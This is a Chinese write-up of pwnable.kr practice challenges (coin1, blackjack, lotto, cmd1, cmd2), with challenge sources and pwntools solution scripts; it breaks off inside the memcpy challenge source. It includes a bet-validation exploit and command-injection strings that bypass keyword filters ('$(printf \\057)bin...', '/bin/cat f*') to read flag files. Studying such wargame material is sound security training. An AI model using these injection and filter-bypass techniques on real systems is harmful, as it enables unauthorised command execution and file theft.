pwnable.kr - Toddler’s Bottle其二
根据pwnable.kr网站规则,Toddler’s Bottle challenges被允许提供完整解析内容。 笔者并没有优化exploit.py,可能代码存在潜在的性能或者bug, 但是保证每个solution完全可以成功获取flag。
1. Toddler’s Bottle
1-9 coin1
先看目标游戏的主界面:
$ nc pwnable.kr 9007
---------------------------------------------------
- Shall we play a game? -
---------------------------------------------------
You have given some gold coins in your hand
however, there is one counterfeit coin among them
counterfeit coin looks exactly same as real coin
however, its weight is different from real one
real coin weighs 10, counterfeit coin weighes 9
help me to find the counterfeit coin with a scale
if you find 100 counterfeit coins, you will get reward :)
FYI, you have 60 seconds.
- How to play -
1. you get a number of coins (N) and number of chances (C)
2. then you specify a set of index numbers of coins to be weighed
3. you get the weight information
4. 2~3 repeats C time, then you give the answer
- Example -
[Server] N=4 C=2 # find counterfeit among 4 coins with 2 trial
[Client] 0 1 # weigh first and second coin
[Server] 20 # scale result : 20
[Client] 3 # weigh fourth coin
[Server] 10 # scale result : 10
[Client] 2 # counterfeit coin is third!
[Server] Correct!
- Ready? starting in 3 sec... -
该题目作为一个游戏,提供100个硬币,在每堆硬币中找到假币(其中假币重量为9,其他重量为10),每堆硬币都设置了金币数和固定的尝试次数。
解决方案如下:
#!/usr/bin/env python3
from pwn import *
import time
# Set log level to debug for detailed output
context.log_level = 'debug'
def solve_round(proc):
"""
Solve one round of the coin guessing game
"""
try:
# Receive game parameters
proc.recvuntil(b"N=")
line = proc.recvline().decode().strip()
if not line:
log.warning("No game parameters received")
return False
log.info(f"Received: N={line}")
# Parse N and C parameters
parts = line.split()
n = int(parts[0])
c = int(parts[1][2:]) # Remove "C=" prefix
log.info(f"Round parameters: N={n}, C={c}")
# Initialize binary search boundaries
low, high = 0, n - 1
answer = None
# Perform binary search
for i in range(c):
# If answer is found, send it immediately
if answer is not None:
proc.sendline(str(answer))
continue
# Calculate midpoint
mid = (low + high) // 2
left_count = mid - low + 1
# Send indices of left half coins
coins_to_weigh = ' '.join(str(i) for i in range(low, mid + 1))
proc.sendline(coins_to_weigh)
# Receive and parse server response
response = proc.recvline().decode().strip()
if 'Correct' in response:
return True # Game ended
weight = int(response)
expected_weight = 10 * left_count
if weight < expected_weight:
# Fake coin is in left half
high = mid
else:
# Fake coin is in right half
low = mid + 1
# Check if fake coin is found
if low == high:
answer = low
# Send final answer
if answer is None:
answer = low # Use current low if not found earlier
proc.sendline(str(answer))
result = proc.recvline().decode().strip()
log.info(f"Result: {result}")
return 'Correct' in result
except Exception as e:
log.error(f"Error processing round: {e}")
return False
def main():
"""
Main function to solve 100 rounds
"""
# Establish SSH connection
try:
shell = ssh(host='pwnable.kr', user='coin1', port=2222, password='guest')
# shell.download_file('readme', 'src/Toddler-Bottle/coin1/readme')
proc = shell.process(["nc", "0", "9007"])
except Exception as e:
log.error(f"Connection failed: {e}")
return
# Skip initial prompt
try:
proc.recvuntil(b'3 sec... -\n')
time.sleep(3.5) # Ensure sufficient wait time
except:
log.warning("Failed to skip initial prompt")
success_count = 0
for round_num in range(100):
log.info(f"Starting round {round_num + 1}")
if solve_round(proc):
success_count += 1
log.success(f"Round {round_num + 1} completed successfully")
else:
log.warning(f"Round {round_num + 1} failed")
# Brief pause to avoid rapid requests
time.sleep(0.1)
log.info(f"Completed {success_count}/100 rounds")
# Retrieve flag
try:
proc.sendline(b'') # Trigger flag output
proc.recvuntil(b"Congrats! get your flag\n")
flag = proc.recvline().decode().strip()
log.success(f"Flag retrieved: {flag}")
except:
log.warning("Failed to retrieve flag")
try:
proc.close()
except:
pass
if __name__ == "__main__":
main()
1-10 blackjack
该题目还是一个游戏,先看目标源码blackjack.c
// Programmer: Vladislav Shulman
// Final Project
// Blackjack
// Feel free to use any and all parts of this program and claim it as your own work
//FINAL DRAFT
#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <string.h>
#include <time.h> //Used for srand((unsigned) time(NULL)) command
#define spade 'S' //Used to print spade symbol
#define club 'C' //Used to print club symbol
#define diamond 'D' //Used to print diamond symbol
#define heart 'H' //Used to print heart symbol
#define RESULTS "Blackjack.txt" //File name is Blackjack
//Global Variables
int k;
int l;
int d;
int won;
int loss;
int cash = 500;
int bet;
int random_card;
int player_total=0;
int dealer_total;
//Function Prototypes
int clubcard(); //Displays Club Card Image
int diamondcard(); //Displays Diamond Card Image
int heartcard(); //Displays Heart Card Image
int spadecard(); //Displays Spade Card Image
int randcard(); //Generates random card
int betting(); //Asks user amount to bet
void asktitle(); //Asks user to continue
void rules(); //Prints "Rules of Vlad's Blackjack" menu
void play(); //Plays game
void dealer(); //Function to play for dealer AI
void stay(); //Function for when user selects 'Stay'
void cash_test(); //Test for if user has cash remaining in purse
void askover(); //Asks if user wants to continue playing
void fileresults(); //Prints results into Blackjack.txt file in program directory
//Main Function
int main(void)
{
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
int choice1;
printf("\n");
printf("\n");
printf("\n");
printf("\n 222 111 ");
printf("\n 222 222 11111 ");
printf("\n 222 222 11 111 ");
printf("\n 222 111 ");
printf("\n 222 111 ");
printf("\n");
printf("\n%c%c%c%c%c %c%c %c%c %c%c%c%c%c %c %c ", club, club, club, club, club, spade, spade, diamond, diamond, heart, heart, heart, heart, heart, club, club);
printf("\n%c %c %c%c %c %c %c %c %c %c ", club, club, spade, spade, diamond, diamond, heart, heart, club, club);
printf("\n%c %c %c%c %c %c %c %c %c ", club, club, spade, spade, diamond, diamond, heart, club, club);
printf("\n%c%c%c%c%c %c%c %c %c%c %c %c %c %c ", club, club, club, club, club, spade, spade, diamond, diamond, diamond, diamond, heart, club, club);
printf("\n%c %c %c%c %c %c%c%c%c %c %c %c%c %c ", club, club, spade, spade, diamond, diamond, diamond, diamond, diamond, diamond, heart, club, club, club);
printf("\n%c %c %c%c %c %c %c %c %c ", club, club, spade, spade, diamond, diamond, heart, club, club);
printf("\n%c %c %c%c %c %c %c %c %c %c ", club, club, spade, spade, diamond, diamond, heart, heart, club, club);
printf("\n%c%c%c%c%c%c %c%c%c%c%c%c%c %c %c %c%c%c%c%c %c %c ", club, club, club, club, club, club, spade, spade, spade, spade, spade, spade, spade, diamond, diamond, heart, heart, heart, heart, heart, club, club);
printf("\n");
printf("\n 21 ");
printf("\n %c%c%c%c%c%c%c%c %c%c %c%c%c%c%c %c %c ", diamond, diamond, diamond, diamond, diamond, diamond, diamond, diamond, heart, heart, club, club, club, club, club, spade, spade);
printf("\n %c%c %c %c %c %c %c %c ", diamond, diamond, heart, heart, club, club, spade, spade);
printf("\n %c%c %c %c %c %c %c ", diamond, diamond, heart, heart, club, spade, spade);
printf("\n %c%c %c %c%c %c %c %c %c ", diamond, diamond, heart, heart, heart, heart, club, spade, spade);
printf("\n %c%c %c %c%c%c%c %c %c %c%c %c ", diamond, diamond, heart, heart, heart, heart, heart, heart, club, spade, spade, spade);
printf("\n %c%c %c %c %c %c %c ", diamond, diamond, heart, heart, club, spade, spade);
printf("\n %c %c%c %c %c %c %c %c %c ", diamond, diamond, diamond, heart, heart, club, spade, spade);
printf("\n %c%c%c %c %c %c%c%c%c%c %c %c ", diamond, diamond, diamond, heart, heart, club, club, club, club, club, spade, spade);
printf("\n");
printf("\n 222 111 ");
printf("\n 222 111 ");
printf("\n 222 111 ");
printf("\n 222222222222222 111111111111111 ");
printf("\n 2222222222222222 11111111111111111 ");
printf("\n");
printf("\n");
asktitle();
printf("\n");
printf("\n");
return(0);
} //end program
void asktitle() // Function for asking player if they want to continue
{
char choice1;
int choice2;
printf("\n Are You Ready?");
printf("\n ----------------");
printf("\n (Y/N)\n ");
scanf("\n%c",&choice1);
while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // If invalid choice entered
{
printf("\n");
printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n");
scanf("%c",&choice1);
}
if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue. Prints menu.
{
printf("\033[2J\033[1;1H");
printf("\nEnter 1 to Begin the Greatest Game Ever Played.");
printf("\nEnter 2 to See a Complete Listing of Rules.");
printf("\nEnter 3 to Exit Game. (Not Recommended)");
printf("\nChoice: ");
scanf("%d", &choice2); // Prompts user for choice
if((choice2<1) || (choice2>3)) // If invalid choice entered
{
printf("\nIncorrect Choice. Please enter 1, 2 or 3\n");
scanf("%d", &choice2);
}
switch(choice2) // Switch case for different choices
{
case 1: // Case to begin game
printf("\033[2J\033[1;1H");
play();
break;
case 2: // Case to see rules
printf("\033[2J\033[1;1H");
rules();
break;
case 3: // Case to exit game
printf("\nYour day could have been perfect.");
printf("\nHave an almost perfect day!\n\n");
exit(0);
break;
default:
printf("\nInvalid Input");
} // End switch case
} // End if loop
else if((choice1 == 'N') || (choice1 == 'n')) // If no, exit program
{
printf("\nYour day could have been perfect.");
printf("\nHave an almost perfect day!\n\n");
printf("\033[2J\033[1;1H");
exit(0);
}
return;
} // End function
void rules() //Prints "Rules of Vlad's Blackjack" list
{
char choice1;
int choice2;
printf("\n RULES of VLAD's BLACKJACK");
printf("\n ---------------------------");
printf("\nI.");
printf("\n Thou shalt not question the odds of this game.");
printf("\n %c This program generates cards at random.", spade);
printf("\n %c If you keep losing, you are very unlucky!\n", diamond);
printf("\nII.");
printf("\n Each card has a value.");
printf("\n %c Number cards 1 to 10 hold a value of their number.", spade);
printf("\n %c J, Q, and K cards hold a value of 10.", diamond);
printf("\n %c Ace cards hold a value of 11", club);
printf("\n The goal of this game is to reach a card value total of 21.\n");
printf("\nIII.");
printf("\n After the dealing of the first two cards, YOU must decide whether to HIT or STAY.");
printf("\n %c Staying will keep you safe, hitting will add a card.", spade);
printf("\n Because you are competing against the dealer, you must beat his hand.");
printf("\n BUT BEWARE!.");
printf("\n %c If your total goes over 21, you will LOSE!.", diamond);
printf("\n But the world is not over, because you can always play again.\n");
printf("\n%c%c%c YOUR RESULTS ARE RECORDED AND FOUND IN SAME FOLDER AS PROGRAM %c%c%c\n", spade, heart, club, club, heart, spade);
printf("\nWould you like to go the previous screen? (I will not take NO for an answer)");
printf("\n (Y/N)\n ");
scanf("\n%c",&choice1);
while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // If invalid choice entered
{
printf("\n");
printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n");
scanf("%c",&choice1);
}
if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue. Prints menu.
{
printf("\033[2J\033[1;1H");
asktitle();
} // End if loop
else if((choice1 == 'N') || (choice1 == 'n')) // If no, convinces user to enter yes
{
printf("\033[2J\033[1;1H");
printf("\n I told you so.\n");
asktitle();
}
return;
} // End function
int clubcard() //Displays Club Card Image
{
srand((unsigned) time(NULL)); //Generates random seed for rand() function
k=rand()%13+1;
if(k<=9) //If random number is 9 or less, print card with that number
{
//Club Card
printf("-------\n");
printf("|%c |\n", club);
printf("| %d |\n", k);
printf("| %c|\n", club);
printf("-------\n");
}
if(k==10) //If random number is 10, print card with J (Jack) on face
{
//Club Card
printf("-------\n");
printf("|%c |\n", club);
printf("| J |\n");
printf("| %c|\n", club);
printf("-------\n");
}
if(k==11) //If random number is 11, print card with A (Ace) on face
{
//Club Card
printf("-------\n");
printf("|%c |\n", club);
printf("| A |\n");
printf("| %c|\n", club);
printf("-------\n");
if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total
{
k=11;
}
else
{
k=1;
}
}
if(k==12) //If random number is 12, print card with Q (Queen) on face
{
//Club Card
printf("-------\n");
printf("|%c |\n", club);
printf("| Q |\n");
printf("| %c|\n", club);
printf("-------\n");
k=10; //Set card value to 10
}
if(k==13) //If random number is 13, print card with K (King) on face
{
//Club Card
printf("-------\n");
printf("|%c |\n", club);
printf("| K |\n");
printf("| %c|\n", club);
printf("-------\n");
k=10; //Set card value to 10
}
return k;
}// End function
int diamondcard() //Displays Diamond Card Image
{
srand((unsigned) time(NULL)); //Generates random seed for rand() function
k=rand()%13+1;
if(k<=9) //If random number is 9 or less, print card with that number
{
//Diamond Card
printf("-------\n");
printf("|%c |\n", diamond);
printf("| %d |\n", k);
printf("| %c|\n", diamond);
printf("-------\n");
}
if(k==10) //If random number is 10, print card with J (Jack) on face
{
//Diamond Card
printf("-------\n");
printf("|%c |\n", diamond);
printf("| J |\n");
printf("| %c|\n", diamond);
printf("-------\n");
}
if(k==11) //If random number is 11, print card with A (Ace) on face
{
//Diamond Card
printf("-------\n");
printf("|%c |\n", diamond);
printf("| A |\n");
printf("| %c|\n", diamond);
printf("-------\n");
if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total
{
k=11;
}
else
{
k=1;
}
}
if(k==12) //If random number is 12, print card with Q (Queen) on face
{
//Diamond Card
printf("-------\n");
printf("|%c |\n", diamond);
printf("| Q |\n");
printf("| %c|\n", diamond);
printf("-------\n");
k=10; //Set card value to 10
}
if(k==13) //If random number is 13, print card with K (King) on face
{
//Diamond Card
printf("-------\n");
printf("|%c |\n", diamond);
printf("| K |\n");
printf("| %c|\n", diamond);
printf("-------\n");
k=10; //Set card value to 10
}
return k;
}// End function
int heartcard() //Displays Heart Card Image
{
srand((unsigned) time(NULL)); //Generates random seed for rand() function
k=rand()%13+1;
if(k<=9) //If random number is 9 or less, print card with that number
{
//Heart Card
printf("-------\n");
printf("|%c |\n", heart);
printf("| %d |\n", k);
printf("| %c|\n", heart);
printf("-------\n");
}
if(k==10) //If random number is 10, print card with J (Jack) on face
{
//Heart Card
printf("-------\n");
printf("|%c |\n", heart);
printf("| J |\n");
printf("| %c|\n", heart);
printf("-------\n");
}
if(k==11) //If random number is 11, print card with A (Ace) on face
{
//Heart Card
printf("-------\n");
printf("|%c |\n", heart);
printf("| A |\n");
printf("| %c|\n", heart);
printf("-------\n");
if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total
{
k=11;
}
else
{
k=1;
}
}
if(k==12) //If random number is 12, print card with Q (Queen) on face
{
//Heart Card
printf("-------\n");
printf("|%c |\n", heart);
printf("| Q |\n");
printf("| %c|\n", heart);
printf("-------\n");
k=10; //Set card value to 10
}
if(k==13) //If random number is 13, print card with K (King) on face
{
//Heart Card
printf("-------\n");
printf("|%c |\n", heart);
printf("| K |\n");
printf("| %c|\n", heart);
printf("-------\n");
k=10; //Set card value to 10
}
return k;
} // End Function
int spadecard() //Displays Spade Card Image
{
srand((unsigned) time(NULL)); //Generates random seed for rand() function
k=rand()%13+1;
if(k<=9) //If random number is 9 or less, print card with that number
{
//Spade Card
printf("-------\n");
printf("|%c |\n", spade);
printf("| %d |\n", k);
printf("| %c|\n", spade);
printf("-------\n");
}
if(k==10) //If random number is 10, print card with J (Jack) on face
{
//Spade Card
printf("-------\n");
printf("|%c |\n", spade);
printf("| J |\n");
printf("| %c|\n", spade);
printf("-------\n");
}
if(k==11) //If random number is 11, print card with A (Ace) on face
{
//Spade Card
printf("-------\n");
printf("|%c |\n", spade);
printf("| A |\n");
printf("| %c|\n", spade);
printf("-------\n");
if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total
{
k=11;
}
else
{
k=1;
}
}
if(k==12) //If random number is 12, print card with Q (Queen) on face
{
//Spade Card
printf("-------\n");
printf("|%c |\n", spade);
printf("| Q |\n");
printf("| %c|\n", spade);
printf("-------\n");
k=10; //Set card value to 10
}
if(k==13) //If random number is 13, print card with K (King) on face
{
//Spade Card
printf("-------\n");
printf("|%c |\n", spade);
printf("| K |\n");
printf("| %c|\n", spade);
printf("-------\n");
k=10; //Set card value to 10
}
return k;
} // End Function
int randcard() //Generates random card
{
srand((unsigned) time(NULL)); //Generates random seed for rand() function
random_card = rand()%4+1;
if(random_card==1)
{
clubcard();
l=k;
}
if(random_card==2)
{
diamondcard();
l=k;
}
if(random_card==3)
{
heartcard();
l=k;
}
if(random_card==4)
{
spadecard();
l=k;
}
return l;
} // End Function
void play() //Plays game
{
int p=0; // holds value of player_total
int i=1; // counter for asking user to hold or stay (aka game turns)
char choice3;
cash = cash;
cash_test();
printf("\nCash: $%d\n",cash); //Prints amount of cash user has
randcard(); //Generates random card
player_total = p + l; //Computes player total
p = player_total;
printf("\nYour Total is %d\n", p); //Prints player total
dealer(); //Computes and prints dealer total
betting(); //Prompts user to enter bet amount
while(i<=21) //While loop used to keep asking user to hit or stay at most twenty-one times
// because there is a chance user can generate twenty-one consecutive 1's
{
if(p==21) //If user total is 21, win
{
printf("\nUnbelievable! You Win!\n");
won = won+1;
cash = cash+bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}
if(p>21) //If player total is over 21, loss
{
printf("\nWoah Buddy, You Went WAY over.\n");
loss = loss+1;
cash = cash - bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}
if(p<=21) //If player total is less than 21, ask to hit or stay
{
printf("\n\nWould You Like to Hit or Stay?");
scanf("%c", &choice3);
while((choice3!='H') && (choice3!='h') && (choice3!='S') && (choice3!='s')) // If invalid choice entered
{
printf("\n");
printf("Please Enter H to Hit or S to Stay.\n");
scanf("%c",&choice3);
}
if((choice3=='H') || (choice3=='h')) // If Hit, continues
{
randcard();
player_total = p + l;
p = player_total;
printf("\nYour Total is %d\n", p);
dealer();
if(dealer_total==21) //Is dealer total is 21, loss
{
printf("\nDealer Has the Better Hand. You Lose.\n");
loss = loss+1;
cash = cash - bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}
if(dealer_total>21) //If dealer total is over 21, win
{
printf("\nDealer Has Went Over!. You Win!\n");
won = won+1;
cash = cash+bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}
}
if((choice3=='S') || (choice3=='s')) // If Stay, does not continue
{
printf("\nYou Have Chosen to Stay at %d. Wise Decision!\n", player_total);
stay();
}
}
i++; //While player total and dealer total are less than 21, re-do while loop
} // End While Loop
} // End Function
void dealer() //Function to play for dealer AI
{
int z;
if(dealer_total<17)
{
srand((unsigned) time(NULL) + 1); //Generates random seed for rand() function
z=rand()%13+1;
if(z<=10) //If random number generated is 10 or less, keep that value
{
d=z;
}
if(z>11) //If random number generated is more than 11, change value to 10
{
d=10;
}
if(z==11) //If random number is 11(Ace), change value to 11 or 1 depending on dealer total
{
if(dealer_total<=10)
{
d=11;
}
else
{
d=1;
}
}
dealer_total = dealer_total + d;
}
printf("\nThe Dealer Has a Total of %d", dealer_total); //Prints dealer total
} // End Function
void stay() //Function for when user selects 'Stay'
{
dealer(); //If stay selected, dealer continues going
if(dealer_total>=17)
{
if(player_total>=dealer_total) //If player's total is more than dealer's total, win
{
printf("\nUnbelievable! You Win!\n");
won = won+1;
cash = cash+bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}
if(player_total<dealer_total) //If player's total is less than dealer's total, loss
{
printf("\nDealer Has the Better Hand. You Lose.\n");
loss = loss+1;
cash = cash - bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}
if(dealer_total>21) //If dealer's total is more than 21, win
{
printf("\nUnbelievable! You Win!\n");
won = won+1;
cash = cash+bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}
}
else
{
stay();
}
} // End Function
void cash_test() //Test for if user has cash remaining in purse
{
if (cash <= 0) //Once user has zero remaining cash, game ends and prompts user to play again
{
printf("You Are Bankrupt. Game Over");
cash = 500;
askover();
}
if (cash > 1000000){
FILE* fp=fopen("flag", "r");
char buf[100];
memset(buf, 0, 100);
fread(buf, 1, 100, fp);
printf("%s\n", buf);
fclose(fp);
}
} // End Function
int betting() //Asks user amount to bet
{
printf("\n\nEnter Bet: $");
scanf("%d", &bet);
if (bet > cash) //If player tries to bet more money than player has
{
printf("\nYou cannot bet more money than you have.");
printf("\nEnter Bet: ");
scanf("%d", &bet);
return bet;
}
else return bet;
} // End Function
void askover() // Function for asking player if they want to play again
{
char choice1;
printf("\nWould You Like To Play Again?");
printf("\nPlease Enter Y for Yes or N for No\n");
scanf("\n%c",&choice1);
while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // If invalid choice entered
{
printf("\n");
printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n");
scanf("%c",&choice1);
}
if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue.
{
printf("\033[2J\033[1;1H");
play();
}
else if((choice1 == 'N') || (choice1 == 'n')) // If no, exit program
{
fileresults();
printf("\nBYE!!!!\n\n");
printf("\033[2J\033[1;1H");
exit(0);
}
return;
} // End function
void fileresults() //Prints results into Blackjack.txt file in program directory
{
return;
} // End Function
题目提供了参考http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html
最终解决方案如下:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
# Establish SSH connection
shell = ssh(host="pwnable.kr", user="blackjack", port=2222, password="guest")
# shell.download_file('blackjack', 'src/Toddler-Bottle/blackjack/blackjack')
# shell.download_file('blackjack.c', 'src/Toddler-Bottle/blackjack/blackjack.c')
# shell.download_file('readme', 'src/Toddler-Bottle/blackjack/readme')
def play(proc):
"""
Execute one game round using the negative bet vulnerability to obtain flag
Returns True if flag is successfully obtained
"""
try:
# Skip initial prompts
proc.recvuntil(b"Are You Ready?")
proc.sendline(b"y")
# Start game
proc.recvuntil(b"Choice:")
proc.sendline(b"1")
# Get initial player total
proc.recvuntil(b"Your Total is ")
player_score = int(proc.recvline().decode().strip())
log.info(f"Initial player score: {player_score}")
# Place first invalid bet (exceeds balance)
proc.recvuntil(b"Enter Bet: $")
proc.sendline(b"10000000000")
# Handle error and place negative bet
proc.recvuntil(b"You cannot bet more money than you have.")
proc.recvuntil(b"Enter Bet: ")
proc.sendline(b"10000000000")
log.info("Sent negative bet: 10000000000")
# Gameplay decisions
proc.recvuntil(b"Please Enter H to Hit or S to Stay.")
while player_score < 17: # Hit if total < 17
proc.sendline(b"H")
log.info(f"Player score {player_score} < 17, choosing Hit")
proc.recvuntil(b"Your Total is ")
player_score = int(proc.recvline().decode().strip())
log.info(f"Updated player score: {player_score}")
proc.recvuntil(b"The Dealer Has a Total of ")
dealer_score = int(proc.recvline().decode().strip())
log.info(f"Updated dealer score: {dealer_score}")
game_state = proc.recvline().decode().strip()
if "Unbelievable! You Win!" in game_state:
proc.recvuntil(b"Please Enter Y for Yes or N for No\n").decode()
proc.sendline(b"Y")
flag_data = proc.recvline().decode()[0xa:]
log.success(f"Flag obtained: {flag_data}")
return True
elif "Woah Buddy, You Went WAY over." in game_state:
return False
proc.recvuntil(b"Please Enter H to Hit or S to Stay.")
if player_score > 21: # Check for bust
log.info("Player busted")
break
# Stay if total is safe
if player_score <= 21:
proc.sendline(b"S")
log.info(f"Chose to Stay at {player_score}")
# Check game result
response_lines = proc.recvuntil(b"Please Enter Y for Yes or N for No\n").decode()
log.debug(f"Received response: {response_lines}")
if "Unbelievable! You Win!" in response_lines:
proc.sendline(b"Y")
flag_data = proc.recvline().decode()[0xa:]
log.success(f"Flag obtained: {flag_data}")
return True
else:
proc.sendline(b"N")
return False
except EOFError:
log.error("Connection terminated unexpectedly")
return False
except Exception as error:
log.error(f"Error executing game round: {error}")
return False
def exploit():
max_attempts = 5
for attempt in range(max_attempts):
log.info(f"Attempt {attempt+1}/{max_attempts}")
try:
proc = shell.process(["nc", "0", "9009"])
success = play(proc)
if success:
break
except Exception as error:
log.error(f"Execution error: {error}")
finally:
try:
proc.close()
except:
pass
if __name__ == "__main__":
exploit()
1-11 lotto
还是游戏相关:),先看目标源码lotto.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
unsigned char submit[6];
void play(){
int i;
printf("Submit your 6 lotto bytes : ");
fflush(stdout);
int r;
r = read(0, submit, 6);
printf("Lotto Start!\n");
//sleep(1);
// generate lotto numbers
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1){
printf("error. tell admin\n");
exit(-1);
}
unsigned char lotto[6];
if(read(fd, lotto, 6) != 6){
printf("error2. tell admin\n");
exit(-1);
}
for(i=0; i<6; i++){
lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45
}
close(fd);
// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}
// win!
if(match == 6){
setregid(getegid(), getegid());
system("/bin/cat flag");
}
else{
printf("bad luck...\n");
}
}
void help(){
printf("- nLotto Rule -\n");
printf("nlotto is consisted with 6 random natural numbers less than 46\n");
printf("your goal is to match lotto numbers as many as you can\n");
printf("if you win lottery for *1st place*, you will get reward\n");
printf("for more details, follow the link below\n");
printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
printf("mathematical chance to win this game is known to be 1/8145060.\n");
}
int main(int argc, char* argv[]){
// menu
unsigned int menu;
while(1){
printf("- Select Menu -\n");
printf("1. Play Lotto\n");
printf("2. Help\n");
printf("3. Exit\n");
scanf("%d", &menu);
switch(menu){
case 1:
play();
break;
case 2:
help();
break;
case 3:
printf("bye\n");
return 0;
default:
printf("invalid menu\n");
break;
}
}
return 0;
}
brute-force 解决方案如下:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
shell = ssh(host='pwnable.kr', user='lotto', port=2222, password='guest')
proc = shell.process(['./lotto'])
proc.recvuntil(b'3. Exit\n')
proc.sendline(b'1')
payload = b'\x01' * 6
for i in range(10):
proc.recvuntil(b'Submit your 6 lotto bytes :')
proc.sendline(payload)
proc.recvuntil(b'Lotto Start!\n')
flag = proc.recvline().decode()
if 'bad luck...' in flag:
proc.recvuntil(b'3. Exit\n')
proc.sendline(b'1')
else:
log.info(f"flag : {flag}")
break
1-12 cmd1
该题考察对Linux Shell技巧,先看目标源码cmd1.c
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
setregid(getegid(), getegid());
system( argv[1] );
return 0;
}
由于该题太简单了,直接提供解决方案。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
shell = ssh(host='pwnable.kr', user='cmd1', port=2222, password='guest')
proc = shell.process(['./cmd1', '/bin/cat f*'])
flag = proc.recvline().decode()
log.info(f"flag: {flag}")
1-13 cmd2
该题是上一题目的加强版,明显提升了不少难度。先看目标源码cmd2.c。
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}
extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}
int main(int argc, char* argv[], char** envp){
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
setregid(getegid(), getegid());
system( argv[1] );
return 0;
}
参考https://chybeta.github.io/2017/08/15/命令执行的一些绕过技巧/,本题目存在多种解法。
method1
cd /;/home/cmd2/cmd2 '$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)f\*'
method2:
./cmd2 '$(printf \\057)bin$(printf \\057)cat f\*'
最终解决方案如下:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
# xxxx 为cmd1的flag,请解决完cmd1,自行替换密码。
shell = ssh(host='pwnable.kr', user='cmd2', port=2222, password='xxxx')
# https://chybeta.github.io/2017/08/15/命令执行的一些绕过技巧/
#
# method1: cd /;/home/cmd2/cmd2 '$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)f*'
# method2: ./cmd2 '$(printf \\057)bin$(printf \\057)cat f*'
proc = shell.process(['./cmd2', '$(printf \\\\057)bin$(printf \\\\057)cat f*'])
proc.recvline()
flag = proc.recvline().decode()
log.info(f"flag: {flag}")
1-14 memcpy
该题主要考察intel高级指令用法,先看目标源码memcpy.c。
// gcc -o memcpy memcpy.c -m32 -lm
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/mman.h>
#include <math.h>
unsigned long long rdtsc(){
asm("rdtsc");
}
char* slow_memcpy(char* dest, const char* src, size_t len){
int i;
for (i=0; i<len; i++) {
dest[i] = src[i];
}
return dest;
}
char* fast_memcpy(char* dest, const char* src, size_t len){
size_t i;
// 64-byte block fast copy
if(len >= 64){
i = len / 64;
len &= (64-1);
while(i-- > 0){
__asm__ __volatile__ (
"movdqa (%0), %%xmm0\n"
"movdqa 16(%0), %%xmm1\n"
"movdqa 32(%0), %%xmm2\n"
"movdqa 48(%0), %%xmm3\n"
"movntps %%xmm0, (%1)\n"
"movntps %%xmm1, 16(%1)\n"
"movntps %%xmm2, 32(%1)\n"
"movntps %%xmm3, 48(%1)\n"
::"r"(src),"r"(dest):"memory");
dest += 64;
src += 64;
}
}
// byte-to-byte slow copy
if(len) slow_memcpy(dest, src, len);
return dest;
}
int main(void){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("Hey, I have a boring assignment for CS class.. :(\n");
printf("The assignment is simple.\n");
printf("-----------------------------------------------------\n");
printf("- What is the best implementation of memcpy? -\n");
printf("- 1. implement your own slow/fast version of memcpy -\n");
